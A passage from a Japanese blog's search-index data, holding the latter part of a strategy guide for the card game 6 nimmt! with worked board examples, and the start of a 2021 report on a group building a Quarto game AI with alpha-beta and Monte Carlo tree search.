27(1) 30(3) 31(1) 🐮 一見82(1)の行が安全に見えます。\nしかし他の行が既に5枚の札で埋まっているため、82(1)の札が30以下の札で取られる可能性が非常に高いです。\nそのためこの盤面には安全な行はありません。\n全てのプレイヤーにとって安全な行が無い例2 手札: 2(1), 10(3), 17(1), 39(1), 44(5), 57(1)\n#1 #2 #3 #4 #5 #6 11(5) 45(2) 49(1) 54(1) 56(1) 🐮 41(1) 43(1) 55(3) 🐮 38(1) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 一見55(3)の行が安全に見えます。\nしかし上から1番目の行の末尾が56(1)であるため、この手番で55(3)の後ろに札が続くことはまずありません。\n他のプレイヤーが上から1番目の行を取れば55(3)の後ろに札が続きますが、ほとんどのケースでは38(1)を取るため5ここでは考慮しなくても問題ありません。\nそのためこの盤面は実質例1と同じであり、安全な行はありません。\n全てのプレイヤーにとって安全な行が無い例3 手札: 2(1), 10(3), 17(1), 39(1), 44(5), 85(2)\n#1 #2 #3 #4 #5 #6 9(1) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 22(5) 25(2) 27(1) 30(3) 31(1) 🐮 この盤面は 6. ゲーム序盤のコツ で挙げた例の再掲です。\n9(1)の行に対して安全な札である10(3)と17(1)を持っています。\nそして手札の残り枚数が多いため、他のプレイヤーも11以上30以下の札を持っている可能性が十分にあります。\nこのため一見9(1)の行が安全に見えますが、このケースではしばしば9(1)が8以下の数字の札で取られ、最大値の札を出したプレイヤーが失点をすることになります。\nなぜそうなるか考えてみましょう。\n8以下の札を持つということは、ゲーム中ほぼ確実に何らかの札を取らなければいけないということを意味します。\nそのため数字が大きい札よりも優先度は低くなりますが、数字の小さい札も可能であれば早めに処分したい対象となります。\nそこで場にある9(1)を見ると、これは小さい数字の札を持つプレイヤーにとっては取るべき札となります。\n実際の盤面を見てみましょう。\nまず9(1)を取らずに全てのプレイヤーが10以上30以下の札を出した場合、失点処理が終わった後の盤面は以下のようになります。\n#1 #2 #3 #4 #5 #6 10以上30以下の札A(X) 10以上30以下の札B(Y) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 元々場にあった9(1)の後ろに全ての札が出されるため、5番目に大きい数字の札Aを出したプレイヤーが失点した上でAが #1 に置かれ、最大値の札Bがその後ろに続きます。\nこれは8以下の札を持つプレイヤーにとっては良いとは言えない盤面です。\n8以下の札を持つプレイヤーは可能であれば最小失点である(1)の札を取りたいと考えていますが、X+Yは必ず2以上になるためです。\nこうなると以降のゲーム進行次第では8以下の札を出すタイミングを失い、最終的に大きな失点の行を取ることになる可能性があります。\n次に1人以上のプレイヤーが8以下の札を出し、その他のプレイヤーが10以上30以下の札を出した場合の失点処理後の盤面を挙げます。\n#1 #2 #3 #4 #5 #6 10以上30以下の札(Z) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 これは小さい数字の札を多く持つプレイヤーにとって良い盤面となります。\n仮にZが1となった場合、31以下の札を複数枚持っているプレイヤーはそのZを取ることで引き続き自分に有利な盤面を作ることができるためです。\nそして失点1の札は失点2以上の札よりも枚数が多いため、そのような有利な盤面になる可能性は高いです。6\n以上により、8以下の札を持つプレイヤーはこの盤面においてその札を出す可能性が高いです。\nそしてそのようなプレイヤーがいた場合、9(1)に対して本来安全なはずの10以上17以下の札が安全ではなくなる可能性があります。\n盤面で表すと、以下のような状態になる可能性があります。\n#1 #2 #3 #4 #5 #6 1以上8以下の札 1以上8以下の札 10以上17以下の札 10以上17以下の札 10以上17以下の札 10以上17以下の札 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 このようなケースでは #6 に置かれている本来安全なはずの10以上17の札により失点が発生します。\nそのためこの盤面には安全な行はありません。\n以上、全てのプレイヤーにとって安全な行が無いようないくつかの例を挙げました。\nでは中盤である判断した後はどの札を出せば良いでしょうか。ここでは場と手札の状態により4つのコツを使い分けます。\n中盤のコツ1: 数字が一番小さい札を出す (場に失点2以下の行があり、かつそれを取れる場合) 全てのプレイヤーにとって安全な行が無い例3を再掲します。\n手札: 2(1), 10(3), 17(1), 39(1), 44(5), 85(2)\n#1 #2 #3 #4 #5 #6 9(1) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 先述の通り、この例では9(1)が8以下の札で取られる可能性が高いです。ここではその流れに乗って2(1)を出しましょう。\nこれにより10以上17以下の札での失点を防ぐことができる上、手札の2を最小失点である(1)を取って処分することができます。\n中盤のコツ2: 安全な札を出す (場の全ての行が失点3以上であり、かつ手札に安全な札がある場合) 中盤突入以降、いくつかの手番を経て序盤の状態に戻ったケースです。\n手札: 2(1), 10(3), 17(1), 39(1), 44(5), 85(2)\n#1 #2 #3 #4 #5 #6 11(5) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 この場合、中盤のコツ1に従い11(5)より小さな数字の札を取る必要はありません。\n失点5はかなり痛く、2や10での大量失点は可能な限り回避するべきであるためです。\nこの盤面では序盤のコツ1を適用します。\nこの例では安全である17(1)7が手札にあるため、それを出すことで失点を回避します。\n中盤のコツ3: 最小失点の行の末尾の数字Aより大きく、かつ2番目に失点が小さい行の末尾の数字Bより小さい数字の札を出す (場の全ての行が失点3以上であり、安全な札がなく、かつ十分に大きいA以上B以下の安全な札を持っている場合) 例を挙げるため、中盤のコツ2の例の手札を変更します。\n手札: 2(1), 10(3), 29(1), 39(1), 44(5), 85(2)\n#1 #2 #3 #4 #5 #6 11(5) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 どの行も大量失点となるため、全てのプレイヤーがどの行も取りたくないと考えます。\n手札に安全な札があれば中盤のコツ2に従いその札を出すべきですが、今回の例ではそのような札がありません。\nこのケースで目指すべきは一番上の行において6番目に大きな数字を出すプレイヤーになることです。8\n6番目に大きな数字を出すプレイヤーとなった場合、出した後の盤面は以下のようになります。\n出された札の分かりやすさのために本来は存在しない #7 を追加しています。\n#1 #2 #3 #4 #5 #6 #7 11(5) 12以上30以下の札 12以上30以下の札 12以上30以下の札 12以上30以下の札 12以上30以下の札 あなたの札 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 実際には #6 の札が #1 に置かれるため、 #7 の札は #2 の位置に収まります。\n中盤のコツ1と2より確実性はありませんが、これにより失点を回避することができます。\nこの状態を作り出すため、2番目に失点が小さい行の末尾である31(1)を超えない範囲での手札の最大値を出します。\nこの例では29(1)が十分に大きく6番目の札となる可能性があるため、これを出すことになります。\nただしこのコツには例外があります。A以上B以下の札を出した時に失点が大きな他の行を取る可能性がある場合です。\nそのような場合の例を挙げます。\n手札: 2(1), 10(3), 29(1), 39(1), 44(5), 85(2)\n#1 #2 #3 #4 #5 #6 11(5) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 12(1) 15(2) 19(1) 22(5) 28(1) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 中盤のコツ3である\n最小失点の行の末尾の数字Aより大きく、かつ2番目に失点が小さい行の末尾の数字Bより小さい数字の札を出す\nにおいて、この例では\\(A = 11\\), \\(B = 31\\)です。\nこのコツをそのまま適用すると出すべき札は29になりますが、29を出すと上から3番目の行をほぼ確実に取り失点をすることになります。\nこの場合は手札から10(3)を出して11(5)を取るのが良い選択になります。\n後述の終盤のコツを適用して十分大きな数字の札を出すという戦略もありますが、万が一それに失敗すると一番上以外の行を取り大量失点となります。\nそうなるよりは、5点の失点を受けてでもそれを回避したほうが良いです。\n中盤のコツ4: 高失点の札で場の行を取る (中盤のコツ1から3が全て適用できない場合) これは失点を抑えるコツではなく、他のプレイヤーにとって有利な盤面にさせないためのコツです。\nこのコツが必要になる場合は大抵手札が大きな数字で埋め尽くされています。\n例として中盤のコツ1の例の手札を大きな数字が多いものに変更します。\n手札: 44(5), 57(1), 79(1), 85(2), 95(2), 99(5)\n#1 #2 #3 #4 #5 #6 9(1) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 この場合ではどの札を出しても高失点の可能性が高くなっています。\nこの状態で他のプレイヤーが10以上30以下の札を出した上であなたが手札の高失点の札、例として44(5)を出すと次の手番は以下のようになります。\n#1 #2 #3 #4 #5 #6 10以上30以下の札A(X) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 44(5) 🐮 Xの値が小さい場合、45以上54以下の札を持つプレイヤーにとって良い盤面となります。\n44(5)は高失点なので札Aと比べて取られる可能性が低く、安心してそれらの札を出すことができるためです。\nXの値が大きい場合、同様の理由により45以上54以下の札を持つプレイヤーとA以上43以下の札を持つプレイヤーの両方にとって良い盤面となります。\nいずれにせよ、このコツを使うと次の手番において出される札が一番上の行と一番下の行に分散されて序盤の状態に近い盤面に戻すことができます。\n依然として大きな数字の札を持つプレイヤーに不利な盤面には代わりありませんが、中盤のコツ1から3の例のような盤面が続くよりは失点の可能性が低くなります。\nまた、このコツでは手札の状態によりどの高失点の札を出すかが変わります。\nもう一つの例として、100以上の札が手札に存在する場合を挙げます。\n手札: 44(5), 79(1), 85(2), 95(2), 99(5), 101(1)\n#1 #2 #3 #4 #5 #6 9(1) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 この場合は99(5)が出すべき札になります。\n99(5)は高失点なので取られる可能性が低く、次の盤面で手札の101(1)を安心して出すことができるためです。\n一般化した言い方に変えると、出す高失点の札の数字より大きく、かつその数字に十分近い他の札を持っている場合はその高失点の札を優先して出します。\n以上の4つのコツ全てが適用できない場合、その盤面はあなたにとって終盤です。\n最後に終盤ではどのような札を出せば良いかを説明します。\n8. ゲーム終盤のコツ 終盤のコツは1つだけです。\n終盤においてやれることは少なく、序盤と中盤のコツは終盤を有利に進めるためのものであるためです。\n終盤のコツ: 失点が明らかに大きな行を除き、各行の末尾の数字から最も離れた数字の札を出す 中盤のコツ1から3で小さい数字の札を出し尽くすため、終盤では手札は大きな数字で埋め尽くされています。\nまた中盤のコツ4を適用できないということは高失点の札が手札に無いということを意味します。\nしかし10枚の手札のほとんどが低失点かつ数字が大きいものではない限り9、あなたにとって終盤ということは他のプレイヤーにとっても終盤である可能性が高いです。\nこの場合、他のプレイヤーよりも数字が大きい札を持っていることを信じてその札を出すことになります。\n終盤の例を挙げます。\n手札: 84(1), 93(1)\n#1 #2 #3 #4 #5 #6 69(1) 🐮 97(1) 99(5) 100(3) 103(1) 104(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 72(1) 74(1) 77(5) 81(1) 82(1) 🐮 この場合、手札の84(1)と93(1)のどちらを出しても一番下の行を取り失点する可能性が高いです。\nしかし他のプレイヤーも終盤の手札となっており、かつその内容が以下のような場合は失点を回避できる可能性があります。\n他のプレイヤーPの手札: 79(1), 92(1)\n上から3番目の行の失点は10、一番下の行の失点は9です。\n1点の差ではありますが一番下の行を取ったほうが失点の点数は小さくなります。\nまた79(1)は上から3番目の行の末尾である75(2)にあまりに近く、Pが79(1)を出すとほぼ確実にその行を取ることになります。\nよって92(1)のほうが失点の可能性が低いと考え、Pはその札を出すことになります。\nここであなたが93(1)を出すと失点を回避します。\nPの札である92(1)が一番下の行を取り、93(1)が #2 に収まるためです。\n複数のプレイヤーが終盤となっている場合、しばしばこのような大きな数字の札の出し合いが発生します。\nそして他のプレイヤーが終盤となっているかはある程度予測が可能です。\n先程の終盤の例を再掲します。\n#1 #2 #3 #4 #5 #6 69(1) 🐮 97(1) 99(5) 100(3) 103(1) 104(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 72(1) 74(1) 77(5) 81(1) 82(1) 🐮 この時、一つ前の手番で69(1)を出したプレイヤーは終盤である可能性が高いです。\n69(1)を出したプレイヤーがこの手番で一番上の行に札を置くには、手札に70(3)もしくは73(1)の札がある必要があります。\nしかし中盤のコツ4によりある程度大きな失点を持つ70(3)は69(1)よりも早く出される可能性が高く、そのような展開になっていないということは70を持っている可能性は低いです。\nまた71と72が既に場に出ているため69と73は連続しており、前述の汎用のコツによって73を持っている可能性は低いです。\nよってこのプレイヤーにとって69が75以下の最後の札である可能性が高いということになります。\nこのため、一つ前の手番で69(1)を出したプレイヤーがこの手番で出す札はほぼ確実に76以上になります。10\nこのタイミングであなたの手札も終盤となっていれば、祈りながら数字が一番大きい札を出しましょう。\n終盤になっていると考えられる他のプレイヤーがいない場合もできることは同じです。\n祈りながら数字が一番大きい札を出しましょう。\n失点が明らかに大きな行を除くべきである例 同じ手札でも93ではなく84を出すべきである場合があります。そのような例を挙げます。\n手札: 84(1), 93(1)\n#1 #2 #3 #4 #5 #6 69(1) 🐮 97(1) 99(5) 100(3) 103(1) 104(7) 🐮 73(1) 75(2) 77(5) 79(1) 85(2) 🐮 68(1) 71(1) 72(1) 76(1) 82(1) 🐮 各行の末尾の数字から最も離れた数字の札は93(1)です。\n終盤のコツをそのまま適用すると93(1)が出すべき札となりますが、ここで各行の失点の合計がいくつかを考えます。\n#1 #2 #3 #4 #5 #6 失点の合計 69(1) 🐮 1 97(1) 99(5) 100(3) 103(1) 104(7) 🐮 17 73(1) 75(2) 77(5) 79(1) 85(2) 🐮 11 68(1) 71(1) 72(1) 76(1) 82(1) 🐮 5 上から3番目の行の失点の合計は11であり、一番下の行の合計5よりも明らかに大きくなっています。\n失点11は大きな痛手なので失点5を取ってでも回避するべきであり、よってこの盤面においては84(1)が出すべき札になります。\nこれが終盤のコツに 失点が明らかに大きな行を除き と書かれている理由です。\n9. おわりに 説明漏れや説明不足等があるかもしれませんが、現在の私は概ねこれらのコツに従いこの記事のルールのニムトで遊んでいます。\nほとんどのコツは私の経験を元にして書かれていますが、唯一序盤のコツ1: 場の末尾が最大の行が安全な行であれば安全な札を出すはBGAでELOが500以上のプレイヤーからチャットで教えていただいたものです。\nなので序盤のコツ1だけは胸を張ってこれは有効と言えます。\n長文になりましたが、ニムトで一番大切なことは失点をしないことです。\n失点をしなければしないほど上位に入ることができ、常にその状態であれば1位になる確率が高くなります。\n長々と書いたこれまでの文章は、最大のコツである「失点をしない」を小さいコツに分割して具体例を挙げただけのものです。\n現在の私にとってこれらの小さいコツが失点をしないために重要なことですが、どのような札の出し方が失点をしにくいかはプレイヤーそれぞれの考えがあります。\nぜひニムトでたくさん遊んで、みなさんのオリジナルのコツを見つけて下さい。\nこれで卓ゲ箪笥 Advent Calendar 2022の1日目の記事は終わりです。\n明日はきむにぃさんの2022年のドイツ年間ゲーム大賞受賞ゲームについてです。\n「ニムト 遊び方」というキーワードでウェブ検索すると、分かりやすくルールを説明しているページや動画がたくさんあります。そちらをご参照ください\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n2022年11月29日時点の回数です\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n実際は終盤において極端に大きな数字の札は有利となる場合があり、不利なのはそのような札を多く抱えている場合です。詳しくは終盤のコツで説明します\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n安全な行・安全な札共に私がこの記事でそう呼んでいるだけであり、一般的な単語ではありません\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n稀ですが他のプレイヤーが上から1番目の行を取るケースは存在します。そのプレイヤーの残りの手札が全て57以上である場合です。この場合は次の手番で上から1番目の行を取り10点の失点を受けてしまう可能性が高いため、38(1)を取った上で次の手番で10点を失点するくらいならこの手番で10点失点したほうがそのプレイヤーにとって次の手番が有利になる場合があります\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nこれを見越してそのようなプレイヤーに有利な盤面を作らせないよう、わざとZが大きくなるような札を出すコツがあります。詳しくは中盤のコツ4で説明します\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n11(5)に対して17(1)が安全であるというのは実は少し攻めた判断です。12以上16以下の札に抜けがなく、かつ他のプレイヤーに対してそれらの札が均等に配られている可能性があるためです。しかし発生確率は低いためここではその可能性を無視しています\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nこの盤面はプレイヤーによって判断が分かれるかもしれません。一番上の行に15(2)や20(3)などの高失点の札が置かれることで、最終的に76以上の札を出して上から3番目の行を取ったほうが失点が抑えられる可能性があるためです。私は数字が大きい札は終盤では有利に働く場合があるため中盤では使わないようにしています\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n稀によくあるケースです。このような手札となった場合はそのゲームでの勝ちは諦めましょう\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n稀にこの状態で68以下の札を出すプレイヤーがいます。終盤であると見せかけるためだと私は考えていますが、本人に確認を取ったことがないため真相は分かりません\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/posts/6nimmt-tips/","summary":"\u003cp\u003eこの記事は\u003ca href=\"https://adventar.org/calendars/7799\"\u003e卓ゲ箪笥 Advent Calendar 2022\u003c/a\u003eの1日目の記事です。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://ja.wikipedia.org/wiki/%E3%83%8B%E3%83%A0%E3%83%88\"\u003eニムト\u003c/a\u003eというカードゲームをご存知でしょうか？\u003cbr\u003e\nこの記事はニムトのルールを知らないと始まらないので、ここではご存知であるという前提で話を進めます。\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003ch2 id=\"1-はじめに\"\u003e1. はじめに\u003c/h2\u003e\n\u003cp\u003eニムトは人数やヴァリアントルールの採用有無により戦略が大幅に変わるゲームです。\u003cbr\u003e\nここではUnigiriがよく遊んでいる6人かつヴァリアントルール無し(以下、この記事のルールと呼ぶ)に絞って話を進めます。\u003c/p\u003e\n\u003cp\u003eそのため、この記事で説明するコツの大半はこの記事のルールでしか有効に働きません。ご注意下さい。\u003c/p\u003e\n\u003ch2 id=\"2-この記事でのカードと場の記載方法\"\u003e2. この記事でのカードと場の記載方法\u003c/h2\u003e\n\u003cp\u003eここではカードを \u003ccode\u003eカードの数字(そのカードを取った際の失点)\u003c/code\u003e 、場をテーブルで以下のように表します。\u003c/p\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth\u003e#1\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003e#2\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003e#3\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003e#4\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003e#5\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003e#6\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1(1)\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e2(1)\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e3(1)\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e4(1)\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cstrong\u003e5(2)\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e🐮\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e50(3)\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e51(1)\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cstrong\u003e52(1)\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e🐮\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cstrong\u003e70(3)\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e🐮\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e99(5)\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e100(2)\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e101(1)\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cstrong\u003e104(1)\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e🐮\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e一番上の行の \u003ccode\u003e#n\u003c/code\u003e は列を左から数えた時の番号であり、分かりやすさのために書いています。\u003cbr\u003e\nまた \u003ccode\u003e#6\u003c/code\u003eの場所にカードが置かれた時に失点が発生するため、その事が分かりやすいように🐮を置いています。\u003c/p\u003e\n\u003cp\u003e更に各行の一番右にある札をここでは\u003cem\u003e末尾\u003c/em\u003eと呼びます。\u003cbr\u003e\n上記テーブルの太字になっている札が末尾となります。\u003c/p\u003e\n\u003ch2 id=\"3-ニムトは必ず勝てるゲームか\"\u003e3. ニムトは必ず勝てるゲームか？\u003c/h2\u003e\n\u003cp\u003eこの記事のルールにおいてニムトは必ず勝てるゲームではありません。\u003cbr\u003e\n場の状態、抜かれているカードが何か、自分や相手の手札、相手の戦略等に勝敗が左右されます。\u003c/p\u003e\n\u003cp\u003eそれでも、この盤面の時はこの札を出すと失点を回避しやすいというコツは存在します。\u003cbr\u003e\n\u003ca href=\"https://boardgamearena.com/\"\u003eBoard Game Arena\u003c/a\u003eで1197回\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e遊ぶうちにいくつかの有効と思われるコツが見えてきたので、この記事ではそれらのコツを説明します。\u003c/p\u003e\n\u003ch2 id=\"4-大前提のコツ\"\u003e4. 大前提のコツ\u003c/h2\u003e\n\u003cp\u003eこれだけは覚えて下さい。大前提のコツです。\u003c/p\u003e\n\u003ch3 id=\"ワンチャンいけると思った時は大抵いけない\"\u003eワンチャンいけると思った時は大抵いけない\u003c/h3\u003e\n\u003cp\u003eワンチャンはノーチャンです。\u003cbr\u003e\nワンチャンの一例を挙げます。以下の行が場で末尾が最大の行であり、この時に手札の最高値である100を出すようなことです。\u003c/p\u003e\n\u003cp\u003e手札: 4(1), 21(1), 60(3), 73(1), 82(1), 97(1), 100(3)\u003c/p\u003e","title":"ニムト(6人プレイ版)で勝ちやすくなるコツ"},{"content":"この記事は卓ゲ箪笥 Advent Calendar 2021の9日目の記事です。\n前回は紅ノ牛さんのテキサスホールデムポーカーのルール説明でした。\n今年4月11日より、Quartoを計算機に解かせる会 (以下Quarto会) を神楽坂あんのんさん, きむにぃさん, 宛先さん, 私の4人で定期開催しています。\nこの記事ではQuarto会の発足経緯と2021年の活動内容をまとめます。\nQuartoのルール等の前提知識はここでは説明しません。【ゲーム紹介】クアルト (Quarto!) | ニコボド｜ボードゲームレビュー＆情報系ブログ等の外部サイトをご参照ください。\n発足経緯 Quartoで遊んだ後、私がPleromaアカウントでぶつぶつと呟いていました。\nhttps://pleroma.unigiri.net/notice/A4soOvGzreImtG7vXs\nクアルトのルール的にソルバ転がってそうなので調べたら案の定ソルバやら論文やらスライドやらが出てきてにこにこ笑顔になった\nhttps://pleroma.unigiri.net/notice/A4t9b9DRwudwe58dYO\nいやこれ読む限りQuartoで引き分けになるパターン数は414298141056なので、途中の状態を列挙せずともこれらのうちいずれかの状態となるようにしていけばいいのか？ どっちにしろ1手番ごとに引き分けパターンを全部舐めて到達可能/不可を計算するのしんどそうだが\u0026hellip;\nこの時点で人間に必ず負けない1AIが実装可能かが書かれている資料が見つからなかったため、この呟きに反応していたきむにぃさんと宛先さん、更にあんのんさんも誘いQuarto会を発足しました。\n活動内容 An artificial intelligence for the board game \u0026lsquo;Quarto!\u0026rsquo; in Javaを読む 全探索する、機械学習させる、定石を列挙する等の色々な案が出ましたが、まずはサーベイということでインターネットに無料で転がっていたAn artificial intelligence for the board game \u0026lsquo;Quarto!\u0026rsquo; in Javaを読み、メンバー各自で担当箇所を決めてスライド等にまとめました。\nこの論文により、主に\nまっさらな盤面からの完全ゲーム木2生成は難しいこと つまり、ゲームの序盤でどの手が最善手かを完璧に判断することは難しい Quartoでは勝利条件的に同等とみなしてよい盤面が回転と鏡写し以外でも生成可能なこと mid flip と inside out と呼ばれる3 アルファ・ベータ法4により、ある程度動くAIは実装可能なこと が分かりました。\nしかしアルファ・ベータ法によるAIは実行速度があまり速いと言えないこと、またゲームの勝敗状況を判断するための評価関数の実装に疑問が残るということから、別のアルゴリズムを調べることになりました。\nモンテカルロ木探索によるAIの実装 先述の論文を探していた時にモンテカルロ木探索で作るクアルト専用対戦AIというQiitaの記事を見つけていたため、モンテカルロ木探索とは何かという所から調べました。\nその結果\n囲碁で実績のあるアルゴリズムであること 採用条件的にQuartoの仕様やルールに合っているということ Qiitaの記事の人が公開している対戦可能なAIが鬼強くメンバー全員が勝てなかったこと から、このモンテカルロ木探索の挙動をより深く知るためにGitHubに公開されているAIのソースコードの解析を試みました。\n2021年12月時点ではこのソースコードの解析を元に各メンバーのゴールを決め、その達成に向けて活動をしています。\n盤面を棋譜として扱えるようにする、Quarto特有のチューニング箇所を見つけ出す等の個々人のゴールがありますが、私のゴールとしてはQiita記事のAIよりも強いAIを作ることです。\nそのためには手軽にAI同士で対戦できる環境とAIの強さを数値化し比較可能にするためのELOレーティング導入が必要なため、現在はこの2つを実現する環境を構築しています。\n環境の構築後にAIのチューニング等を行い、より強いAIの実装を実現させる予定です。\n以上がQuarto会の2021年活動報告書です。\nもしこの活動内容に興味がある、もしくは本会へ参加したい方がおりましたら、Fediverse経由でUnigiri宛へのメンションか本サイトのトップページに記載されているメールアドレス宛へご連絡をよろしくお願いします。\n喜んで詳細な活動内容をお伝えいたします。\n明日は神楽坂あんのんさんの「マンカラの話かVRCでできるボドゲの話をします」です。\nLuc Goossensの論文(1998)によりプレイヤー2人が共に最善手を出し続けた場合は必ず引き分けになることが証明されている。そのため必ず勝つAIは実装不可能。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAlgorithms with Python / ミニマックス法とアルファベータ法 ●ゲームの木\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nQuarto! - quarto.pdf p.35\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAlgorithms with Python / ミニマックス法とアルファベータ法 ●ミニマックス法 及び ●アルファベータ法\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/posts/summary-of-quarto-2021/","summary":"\u003cp\u003eこの記事は\u003ca href=\"https://adventar.org/calendars/6259\"\u003e卓ゲ箪笥 Advent Calendar 2021\u003c/a\u003eの9日目の記事です。\u003cbr\u003e\n前回は紅ノ牛さんの\u003ca href=\"https://note.com/kurenainousi/n/n450cd532fa2f\"\u003eテキサスホールデムポーカーのルール説明\u003c/a\u003eでした。\u003c/p\u003e\n\u003cp\u003e今年4月11日より、Quartoを計算機に解かせる会 (以下Quarto会) を\u003ca href=\"https://tablegame.mstdn.cloud/@anno_kgrzk\"\u003e神楽坂あんのんさん\u003c/a\u003e, \u003ca href=\"https://tablegame.mstdn.cloud/@Arbolpueblo\"\u003eきむにぃさん\u003c/a\u003e, \u003ca href=\"https://tablegame.mstdn.cloud/@ATESAKI/\"\u003e宛先さん\u003c/a\u003e, 私の4人で定期開催しています。\u003cbr\u003e\nこの記事ではQuarto会の発足経緯と2021年の活動内容をまとめます。\u003c/p\u003e\n\u003cp\u003eQuartoのルール等の前提知識はここでは説明しません。\u003ca href=\"https://nicobodo.com/archives/27464438.html\"\u003e【ゲーム紹介】クアルト (Quarto!) | ニコボド｜ボードゲームレビュー＆情報系ブログ\u003c/a\u003e等の外部サイトをご参照ください。\u003c/p\u003e\n\u003ch2 id=\"発足経緯\"\u003e発足経緯\u003c/h2\u003e\n\u003cp\u003eQuartoで遊んだ後、私がPleromaアカウントでぶつぶつと呟いていました。\u003c/p\u003e\n\u003cp\u003e\u003ca 